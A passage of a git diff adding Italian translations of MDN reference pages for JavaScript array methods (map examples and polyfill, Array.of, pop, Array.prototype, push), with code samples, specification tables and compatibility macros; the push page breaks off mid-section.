+<p>Il seguente codice accetta un array di numeri e crea un nuovo array contenente le radici quadrate dei numeri nel primo array.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var roots = numbers.map(function(num) {
+return Math.sqrt(num)
+});
+// roots è ora [1, 2, 3]
+// numbers è ancora [1, 4, 9]
+</pre>
+
+<h3 id="Usare_map_per_riformattare_gli_oggetti_in_un_array">Usare <code>map</code> per riformattare gli oggetti in un array</h3>
+
+<p>Il seguente codice accetta un array di oggetti e crea un nuovo array contenente gli oggetti appena riformattati.</p>
+
+<pre class="brush: js">var kvArray = [{key: 1, value: 10},
+               {key: 2, value: 20},
+               {key: 3, value: 30}];
+
+var reformattedArray = kvArray.map(obj =&gt;{
+   var rObj = {};
+   rObj[obj.key] = obj.value;
+   return rObj;
+});
+// reformattedArray è ora [{1: 10}, {2: 20}, {3: 30}],
+
+// kvArray è ancora:
+// [{key: 1, value: 10},
+//  {key: 2, value: 20},
+//  {key: 3, value: 30}]
+</pre>
+
+<h3 id="Mappare_un_array_di_numeri_usando_una_funzione_che_contiene_un_argomento">Mappare un array di numeri usando una funzione che contiene un argomento</h3>
+
+<p>Il codice seguente mostra come funziona <code>map</code> quando viene utilizzata una funzione che richiede un argomento. L'argomento verrà assegnato automaticamente da ciascun elemento dell'array mentre <code>map</code> itera l'array originale.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var doubles = numbers.map(function(num) {
+  return num * 2;
+});
+
+// doubles is now [2, 8, 18]
+// numbers is still [1, 4, 9]
+</pre>
+
+<h3 id="Usare_map_genericamente">Usare <code>map</code> genericamente</h3>
+
+<p>Questo esempio mostra come usare map su una {{jsxref("String")}} per ottenere un array di byte nella codifica ASCII che rappresenta i valori dei caratteri:</p>
+
+<pre class="brush: js">var a = Array.prototype.map.call('Hello World', function(x) {
+  return x.charCodeAt(0);
+});
+// a ora equivale a [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Usare_map_con_querySelectorAll">Usare <code>map</code> con <code>querySelectorAll</code></h3>
+
+<p>Questo esempio mostra come iterare attraverso una raccolta di oggetti raccolti da <code>querySelectorAll</code>. Questo perchè <code>querySelectorAll</code> restituisce una <em><strong>NodeList</strong></em> che è una raccolta di oggetti.<br>
+ In questo caso restituiamo sullo schermo tutti i valori delle opzioni selezionate:</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = Array.prototype.map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<p>Il modo più semplice sarebbe utilizzare il metodo {{jsxref("Array.from()")}}.</p>
+
+<h3 id="Caso_d'uso_ingannevole">Caso d'uso ingannevole</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">(inspired by this blog post)</a></p>
+
+<p>È normale utilizzare il callback con un argomento (l'elemento che viene attraversato). Alcune funzioni sono anche comunemente utilizzate con un argomento, anche se accettano argomenti opzionali aggiuntivi. Queste abitudini possono portare a comportamenti confusi.</p>
+
+<pre class="brush: js" dir="rtl">// Consider:
+['1', '2', '3'].map(parseInt);
+// Mentre ci si potrebbe aspettare [1, 2, 3]
+// Il risultato effettivo è [1, NaN, NaN]
+
+// parseInt è spesso usato con un argomento, ma ne prende due.
+// Il primo è un'espressione e il secondo è la radice.
+// Alla funzione di callback, Array.prototype.map passa 3 argomenti:
+// l'elemento, l'indice e l'array
+// Il terzo argomento è ignorato da parseInt, ma non il secondo,
+// da qui l'eventuale confusione. Vedi il post del blog per maggiori dettagli
+// Se il link non funziona
+// ecco un esempio conciso dei passaggi di iterazione:
+// parseInt(string, radix) -&gt; map(parseInt(value, index))
+// first iteration (index is 0): parseInt('1', 0) // results in parseInt('1', 0) -&gt; 1
+// second iteration (index is 1): parseInt('2', 1) // results in parseInt('2', 1) -&gt; NaN
+// third iteration (index is 2): parseInt('3', 2) // results in parseInt('3', 2) -&gt; NaN
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// Il risultato effettivo è un array di numeri (come previsto)
+
+// Come sopra, ma usando la sintassi della funzione a freccia concisa
+['1', '2', '3'].map( str =&gt; parseInt(str) );
+
+// Un modo più semplice per ottenere quanto sopra, evitando il "gotcha":
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// ma a differenza di `parseInt` restituirà anche una notazione esponenziale mobile o (risolta):
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+</pre>
+
+<p>Un output alternativo del metodo map che viene chiamato con parseInt come parametro viene eseguito come segue:</p>
+
+<pre class="brush: js">var xs = ['10', '10', '10'];
+
+xs = xs.map(parseInt);
+
+console.log(xs);
+// Il risultato effettivo di 10,NaN,2 potrebbe essere inaspettato in base alla descrizione precedente.</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>map</code> è stato aggiunto allo standard ECMA-262 nella 5a edizione; in quanto tale potrebbe non essere presente in tutte le implementazioni dello standard. Puoi aggirare questo problema inserendo il seguente codice all'inizio degli script, consentendo l'uso di <code>map</code> in implementazioni che non lo supportano in modo nativo. Questo algoritmo è esattamente quello specificato in ECMA-262, 5a edizione, assumendo {{jsxref("Object")}}, {{jsxref("TypeError")}}, e {{jsxref("Array")}} hanno i loro valori originali e che <code>callback.call</code> restituisce il valore originale di <code>{{jsxref("Function.prototype.call")}}</code>.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19
+// Reference: http://es5.github.io/#x15.4.4.19
+if (!Array.prototype.map) {
+
+  Array.prototype.map = function(callback/*, thisArg*/) {
+
+    var T, A, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the |this|
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal
+    //    method of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = arguments[1];
+    }
+
+    // 6. Let A be a new array created as if by the expression new Array(len)
+    //    where Array is the standard built-in constructor with that name and
+    //    len is the value of len.
+    A = new Array(len);
+
+    // 7. Let k be 0
+    k = 0;
+
+    // 8. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue, mappedValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        //    method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let mappedValue be the result of calling the Call internal
+        //     method of callback with T as the this value and argument
+        //     list containing kValue, k, and O.
+        mappedValue = callback.call(T, kValue, k, O);
+
+        // iii. Call the DefineOwnProperty internal method of A with arguments
+        // Pk, Property Descriptor
+        // { Value: mappedValue,
+        //   Writable: true,
+        //   Enumerable: true,
+        //   Configurable: true },
+        // and false.
+
+        // In browsers that support Object.defineProperty, use the following:
+        // Object.defineProperty(A, k, {
+        //   value: mappedValue,
+        //   writable: true,
+        //   enumerable: true,
+        //   configurable: true
+        // });
+
+        // For best browser support, use the following:
+        A[k] = mappedValue;
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+
+    // 9. return A
+    return A;
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.map")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>L'oggetto {{jsxref("Map")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/of/index.html b/files/it/web/javascript/reference/global_objects/array/of/index.html
new file mode 100644
index 0000000000..808c1dda2c
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/of/index.html
@@ -0,0 +1,92 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Global_Objects/Array/of
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Array.of()</strong></code> crea una nuova istanza di <code>Array</code>  accettando un numero variabile di argomenti, indipendentemente dal numero o dal tipo degli argomenti.</p>
+
+<p>La differenza tra <code><strong>Array.of()</strong></code> ed il costruttore <code><strong>Array</strong></code> è nella gestione degli argomenti di tipo intero: <code><strong>Array.of(7)</strong></code> crea un array con un singolo elemento, <code>7</code>, mentre <code><strong>Array(7)</strong></code> crea un array vuoto con la proprietà <code>length</code> settata a  7 (<strong>Nota:</strong> questo implica un array di <code>7</code> elementi vuoti, non elementi col valore <code>undefined</code> assegnato).</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre>
+
+<h3 id="Parameteri">Parameteri</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Gli elementi da assegnare all'array.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una nuova istanz di {{jsxref("Array")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Questa funzione fa parte dello standard ECMAScript 2015. Per maggiori informazioni vedi le proposal <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> e <code>Array.from</code> </a> e il polyfill <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code></a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Eseguendo il codice seguente prima di qualsiasi altro codice verrà creato il metodo <code>Array.of()</code> se non era precedentemente esistente.</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/pop/index.html b/files/it/web/javascript/reference/global_objects/array/pop/index.html
new file mode 100644
index 0000000000..6feabb5f14
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/pop/index.html
@@ -0,0 +1,117 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Global_Objects/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Prototype
+  - Referenza
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>pop()</strong></code> rimuove <strong>l'ultimo</strong> elemento da un array e restituisce quell'elemento. Questo metodo modifica la lunghezza dell'array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.pop()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'elemento rimosso dall'array; {{jsxref("undefined")}} se l'array è vuoto.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>pop</code> rimuove l'ultimo elemento da un array e restituisce quel valore al chiamante.</p>
+
+<p><code>pop</code> è intenzionalmente generico; questo metodo può essere {{jsxref("Function.call", "chiamato", "", 1)}} o {{jsxref("Function.apply", "applicato", "", 1)}} ad oggetti che assomigliano agli array. Gli oggetti che non contengono una proprietà <code>length</code> che riflette l'ultimo di una serie di proprietà numeriche consecutive basate su zero potrebbero non comportarsi in alcun modo significativo.</p>
+
+<p>Se chiami <code>pop()</code> su un array vuoto, ritorna {{jsxref("undefined")}}.</p>
+
+<p>{{jsxref("Array.prototype.shift()")}} ha un comportamento simile a <code>pop</code>, ma applicato al primo elemento di un array.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Rimozione_dell'ultimo_elemento_di_un_array">Rimozione dell'ultimo elemento di un array</h3>
+
+<p>Il seguente codice crea l'array <code>myFish</code> contenente quattro elementi, dopo rimuove il suo ultimo elemento.</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</pre>
+
+
+
+<h3 id="Usare_apply(_)_o_call_(_)_sugli_array-like_objects">Usare apply( ) o call ( ) sugli array-like objects</h3>
+
+<p>Il codice seguente crea l'array-like object <code>myFish</code> contenente quattro elementi e un parametro length, poi rimuove il suo ultimo elemento e decrementa il parametro length.</p>
+
+<pre class="brush: js">var myFish = {0:'angel', 1:'clown', 2:'mandarin', 3:'sturgeon', length: 4};
+
+var popped = Array.prototype.pop.call(myFish); //same syntax for using apply( )
+
+console.log(myFish); // {0:'angel', 1:'clown', 2:'mandarin', length: 3}
+
+console.log(popped); // 'sturgeon'
+</pre>
+
+
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/prototype/index.html b/files/it/web/javascript/reference/global_objects/array/prototype/index.html
new file mode 100644
index 0000000000..d4989792a8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/prototype/index.html
@@ -0,0 +1,203 @@
+---
+title: Array.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Array/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>La proprietà <strong><code>Array.prototype</code></strong> rappresenta il prototipo per il costruttore {{jsxref("Array")}} .</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Le istanze {{jsxref("Array")}} ereditano da <code>Array.prototype</code>. Come con gli altri costruttori, si può cambiare il prototipo propagando i cambiamenti su tutte le sue istanze.</p>
+
+<p>Piccola curiosità: <code>Array.prototype</code> è un {{jsxref("Array")}}:</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype); // true
+</pre>
+
+<h2 id="Properties" name="Properties">Proprietà</h2>
+
+<dl>
+ <dt><code>Array.prototype.constructor</code></dt>
+ <dd>Restituisce il costruttore.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>Restituisce il numero di elementi in un array.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Metodi</h2>
+
+<h3 id="Mutator_methods" name="Mutator_methods">Metodi mutator</h3>
+
+<p>Questi metodi modificano l'array:</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}</dt>
+ <dd>Copia una sequenza di elementi dell'array all'interno dello stesso.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}</dt>
+ <dd>Riempie le posizioni dell'array contenute tra 2 indici con un valore fisso.</dd>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>Rimuove e restituisce l'ultimo elemento dell'array.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>Accoda uno o più elementi all'array e restituisce la lunghezza aggiornata dello stesso.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>Inverte l'ordine delle posizioni degli elementi all'interno dell'array.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>Rimuove e resistuisce il primo elemento di un array.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>Ordina gli elementi di un array all'interno di esso e restituisce l'array.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>Aggiunge e/o rimuove elementi da un array.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>Aggiunge uno o più elementi all'inizio di un array e restituisce la lunghezza aggiornata dello stesso.</dd>
+</dl>
+
+<h3 id="Accessor_methods" name="Accessor_methods">Metodi accessor</h3>
+
+<p>Questi metodi non modificano l'array e ne restituiscono una sua rappresentazione.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>Restituisce un nuovo array costituito dall'array stesso insieme ad altri array/valori.</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Restituisce <code>true</code> se l'array contiene un certo elemento, <code>false</code> altrimenti.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>Resituisce i valori dell'array come stringa.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>Restituisce un nuovo array cosituito da elementi dell'array originale.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an array literal representing the specified array; you can use this value to create a new array. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.</dd>
+</dl>
+
+<h3 id="Iteration_methods" name="Iteration_methods">Iteration methods</h3>
+
+<p>Several methods take as arguments functions to be called back while processing the array. When these methods are called, the <code>length</code> of the array is sampled, and any element added beyond this length from within the callback is not visited. Other changes to the array (setting the value of or deleting an element) may affect the results of the operation if the method visits the changed element afterwards. While the specific behavior of these methods in such cases is well-defined, you should not rely upon it so as not to confuse others who might read your code. If you must mutate the array, copy into a new array instead.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array.</dd>
+ <dt>{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
+ <dd>Returns true if every element in this array satisfies the provided testing function.</dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.</dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h3 id="Generic_methods" name="Generic_methods">Generic methods</h3>
+
+<p>Many methods on the JavaScript Array object are designed to be generally applied to all objects which “look like” Arrays. That is, they can be used on any object which has a <code>length</code> property, and which can usefully be accessed using numeric property names (as with <code>array[5]</code> indexing). <span class="comment">TODO: give examples with Array.prototype.forEach.call, and adding the method to an object like {{jsxref("Global_Objects/JavaArray", "JavaArray")}} or {{jsxref("Global_Objects/String", "String")}}.</span> Some methods, such as {{jsxref("Array.join", "join")}}, only read the <code>length</code> and numeric properties of the object they are called on. Others, like {{jsxref("Array.reverse", "reverse")}}, require that the object's numeric properties and <code>length</code> be mutable; these methods can therefore not be called on objects like {{jsxref("String")}}, which does not permit its <code>length</code> property or synthesized numeric properties to be set.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/push/index.html b/files/it/web/javascript/reference/global_objects/array/push/index.html
new file mode 100644
index 0000000000..ad34c3da2d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/push/index.html
@@ -0,0 +1,142 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Global_Objects/Array/push
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>push()</strong></code> aggiunge uno o più elementi alla fine di un array e ne restituisce la nuova lunghezza.</p>
+
+<pre class="brush: js notranslate">var numbers = [1, 2, 3];
+numbers.push(4);
+
+console.log(numbers); // [1, 2, 3, 4]
+
+numbers.push(5, 6, 7);
+
+console.log(numbers); // [1, 2, 3, 4, 5, 6, 7]
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>arr</var>.push([<var>elemento1</var>[, ...[, <var>elementoN</var>]]])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>elemento<em>N</em></code></dt>
+ <dd>Gli elementi da aggiungere alla fine dell'array.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>La nuova proprietà {{jsxref("Array.length", "length")}} dell'oggetto su cui è stato richiamato il metodo.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>push</code> aggiunge valori all'array.</p>
+
+<p><code>push</code> è intenzionalmente generico. Questo metodo può essere utilizzato con {{jsxref("Function.call", "call()")}} o {{jsxref("Function.apply", "apply()")}} su oggetti che assomigliano a un array. Il metodo<code>push</code> si basa sulla proprietà <code>length</code> per determinare da dove iniziare l'inserimento dei valori indicati. Se la proprietà <code>length</code> non può essere convertita in un numero, l'indice utilizzato è 0. Ciò include la possibilità che <code>length</code> sia inesistente, in tale caso <code>length</code> verrà creata.</p>
+
+<p>Gli unici oggetti nativi simili agli array sono {{jsxref("Global_Objects/String", "strings", "", 1)}}, anche se non adatti alle applicazioni di questo metodo, in quanto le stringhe sono immutabili.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Aggiungere_elementi_a_un_array">Aggiungere elementi a un array</h3>
+
+<p>Il seguente codice crea l'array <code>sports</code> che contiene due elementi, poi aggiunge ulteriori due elementi allo stesso. La variabile <code>total</code> contiene la nuova lunghezza dell'array.</p>
+
+<pre class="brush: js notranslate">var sports = ['calcio', 'baseball'];
+var total = sports.push('football americano', 'nuoto');
+
+console.log(sports); // ['calcio', 'baseball', 'football americano', 'nuoto']
+console.log(total); // 4
+</pre>
+
+<h3 id="Unire_due_arrays">Unire due arrays</h3>
+
+<p>Questo esempio utilizza {{jsxref("Function.apply", "apply()")}} per aggiungere tutti gli elementi da un secondo array.</p>
